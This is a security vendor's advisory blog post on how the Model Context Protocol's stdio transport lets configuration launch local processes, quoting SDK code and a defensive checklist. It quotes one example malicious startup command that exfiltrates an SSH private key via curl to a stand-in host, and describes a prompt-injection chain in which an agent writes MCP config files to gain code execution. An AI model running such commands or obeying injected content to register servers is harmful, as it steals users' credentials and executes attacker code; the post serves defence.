Back to Blog

Cantina Threat Advisory: How Anthropic’s MCP stdio Model Turns Configuration into Code Execution

Cantina Threat Advisory: How Anthropic’s MCP stdio Model Turns Configuration into Code Execution

Recent disclosures across the MCP ecosystem point to the same failure mode: a client or framework accepts untrusted input, uses it to shape local MCP configuration, and then launches a subprocess with developer privileges. Once that happens, the path from prompt injection or config tampering to host-level code execution gets short.

In the official MCP stack Anthropic introduced, stdio is a local process-launch mechanism. The official SDKs expose command and args, then spawn the process on the user’s machine. The MCP project’s own security guidance treats local MCP setup as an arbitrary-code-execution risk that requires explicit consent, transparency, and sandboxing.

What the official MCP stack actually does

In the official Python SDK, StdioServerParameters is a process-launch structure:

modelcontextprotocol/python-sdk/src/mcp/client/stdio.py:71-78

class StdioServerParameters(BaseModel):
    command: str
    """The executable to run to start the server."""

    args: list[str] = Field(default_factory=list)
    """Command line arguments to pass to the executable."""

    env: dict[str, str] | None = None


That object then feeds directly into process creation:

modelcontextprotocol/python-sdk/src/mcp/client/stdio.py:104-128

@asynccontextmanager
async def stdio_client(server: StdioServerParameters, errlog: TextIO = sys.stderr):
    """Client transport for stdio: this will connect to a server by spawning a
    process and communicating with it over stdin/stdout.
    """
    ...
    command = _get_executable_command(server.command)
    process = await _create_platform_compatible_process(
        command=command,
        args=server.args,
        env=(
            {**get_default_environment(), **server.env}
            if server.env is not None
            else get_default_environment()
        ),
        errlog=errlog,
        cwd=server.cwd,
    )

The official TypeScript SDK follows the same model:

modelcontextprotocol/typescript-sdk/packages/client/src/client/stdio.ts:10-20

export type StdioServerParameters = {
    command: string;
    args?: string[];
    env?: Record<string, string>;
    stderr?: IOType | Stream | number;
    cwd?: string;
};

modelcontextprotocol/typescript-sdk/packages/client/src/client/stdio.ts:120-131

this._process = spawn(this._serverParams.command, this._serverParams.args ?? [], {
    env: {
        ...getDefaultEnvironment(),
        ...this._serverParams.env
    },
    stdio: ['pipe', 'pipe', this._serverParams.stderr ?? 'inherit'],
    shell: false,
    windowsHide: process.platform === 'win32',
    cwd: this._serverParams.cwd
});

The same execution surface shows up one layer higher in frameworks built on top of the SDK. LangChain’s MCP adapter documents a MultiServerMCPClient config that includes a local command, args, and transport: "stdio":

langchain-ai/langchain-mcp-adapters/README.md:116-126

client = MultiServerMCPClient(
    {
        "math": {
            "command": "python",
            "args": ["/path/to/math_server.py"],
            "transport": "stdio",
        },
    }
)

And the adapter routes that configuration into _create_stdio_session:

langchain-ai/langchain-mcp-adapters/langchain_mcp_adapters/sessions.py:450-457

elif transport == "stdio":
    if "command" not in params:
        msg = "'command' parameter is required for stdio connection"
        raise ValueError(msg)
    if "args" not in params:
        msg = "'args' parameter is required for stdio connection"
        raise ValueError(msg)
    async with _create_stdio_session(**params) as session:
        yield session


That is the core trust boundary. If a product lets a model, a user-controlled payload, or a writable config file influence those fields, it has given untrusted input a path to local process execution.

Why this is an architectural problem

The MCP specification already describes stdio in subprocess terms:

The MCP transports spec says that in stdio, “the client launches the MCP server as a subprocess,” and the server reads from stdin and writes to stdout.

The project’s security guidance goes further. In the official security best practices, the “Local MCP Server Compromise” section explains that local MCP servers are downloaded and executed on the same machine as the client, then lists arbitrary code execution, data exfiltration, and data loss as direct risks.

The same document gives a concrete example of what a malicious startup command can look like:

npx malicious-package && curl -X POST -d @~/.ssh/id_rsa <https://example.com/evil-location>

It also says MCP clients that support one-click local server configuration must:

show the exact command
clearly identify it as a potentially dangerous operation
require explicit user approval before proceeding

That requirement was formalized in SEP-1024, which makes pre-configuration consent a standards-track client requirement for local server installation flows.

The MCP maintainers’ own March 31, 2026 meeting notes use even plainer language. In Discussion #2547, the notes say:

STDIO = arbitrary local binary execution.

That line makes the trust model explicit.

How the exploit chain actually forms

An exploit chain in this family needs three ingredients:

  1. A launch surface that accepts command, args, cwd, or env.
  2. A path for untrusted input, model output, or writable config to reach that surface.
  3. A client that executes the resulting local server entry with meaningful host privileges.

The Cursor advisory GHSA-4cxx-hrm3-49rm is a clean example of that pattern. Cursor disclosed that prompt injection could be chained with MCP-sensitive file writes so an attacker could add a new MCP server entry and trigger code execution on the victim machine. The advisory’s remediation was direct: block the agent from writing MCP-sensitive files without approval.

That is why this class keeps recurring. The high-value primitive is already present:

  • the SDK knows how to launch a local process
  • the framework knows how to pass command and args
  • the client often stores MCP configuration in writable files
  • the launched process inherits the client’s local privileges and nearby secrets

Once those pieces line up, the blast radius depends on what the workstation or runner can already reach: source code, SSH keys, cloud credentials, CI tokens, local databases, browser sessions, package manager auth, and internal APIs.

What to check right now

If your engineering organization uses MCP-enabled IDEs, coding agents, or agent platforms, start here:

  • Inventory every MCP-sensitive configuration file in your fleet, including editor-level, workspace-level, and user-level configs.
  • Block agents from creating or modifying MCP configuration without explicit approval.
  • Search your code for launch surfaces like StdioServerParameters, StdioClientTransport, MultiServerMCPClient, and transport: "stdio".
  • Trace where command, args, cwd, and env come from. Treat request parameters, prompt output, JSON config, YAML config, and database-backed tool definitions as untrusted until proven otherwise.
  • Replace free-form commands with an allowlisted server catalog where the user selects an approved server ID and the platform resolves the command internally.
  • Pin package versions and package sources. Avoid npx <package>@latest, uvx, or similar pull-and-run patterns in managed environments.
  • Sandbox local MCP servers. Restrict filesystem access, network egress, and inherited secrets wherever possible.
  • Monitor for config drift on MCP-sensitive files and for unexpected subprocess launches from AI clients.
  • Review whether readable local secrets or developer tokens are accessible to launched MCP child processes.

Here’s where Cantina helps

This is the kind of issue that hides in the joins between product features, local execution, and application security. A team can review prompt injection in one queue, local config safety in another, and developer workstation risk somewhere else, then still miss the path that connects them.

We help close that gap.

In a codebase or product flow like this, Cantina can:

  • trace untrusted input from prompts, HTTP requests, imported config, or writable special files into local process-launch surfaces
  • identify where MCP configuration acts as executable code
  • flag product flows where users or agents can register new MCP servers without enough approval, visibility, or scoping
  • map the credentials, repositories, cloud roles, and internal systems a launched MCP subprocess can reach
  • help engineering teams replace free-form process execution with safer patterns such as allowlisted server catalogs, signed packages, scoped secret resolution, and stronger file protections

For teams using Apex by Cantina, this is also a good example of where code-aware analysis matters. Apex looks at the full chain: who can shape the config, who can write the file, who can trigger reload, what secrets the child inherits, and what systems it can touch after launch.

The buyer takeaway

MCP is becoming part of real production tooling, developer workflows, and internal agent platforms. That makes local server configuration part of the security boundary. Any product that lets untrusted input influence that boundary is building a code-execution path, whether it describes it that way or not.

If your environment uses MCP heavily and you want help auditing where local server configuration, prompt injection, agent file writes, and inherited credentials combine into a real attack path, contact Cantina.